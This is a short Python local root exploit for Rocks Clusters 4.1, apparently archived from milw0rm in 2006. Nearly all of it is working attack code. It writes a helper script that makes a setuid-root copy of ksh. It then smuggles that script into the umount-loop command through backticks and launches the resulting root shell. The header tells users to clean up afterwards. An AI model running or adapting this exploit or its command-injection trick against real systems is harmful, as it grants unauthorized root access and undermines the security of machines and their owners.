Rocks Clusters 4.1 - 'umount-loop' Local Privilege Escalation

#!/usr/bin/env python
##############################################################################
##  rocksumountdirty.py: Rocks release <=4.1 local root exploit
##  quick and nasty version of the exploit. make sure the . is writable and
##  you clean up afterwards. ;)
##
##  coded by: [email protected] [http://xavsec.blogspot.com]
##############################################################################
x=__import__('os');c=x.getcwd()
open('%s/x'%c, 'a').write("#!/bin/sh\ncp /bin/ksh %s/shell\nchmod a+xs %s/shell\nchown root.root %s/shell\n" % (c,c,c))
print "Rocks Clusters <=4.1 umount-loop local root exploit by [email protected] [http://xavsec.blogspot.com]"
x.system('umount-loop "\`sh %s/x\`"'%c);x.system("%s/shell"%c)

# milw0rm.com [2006-07-15]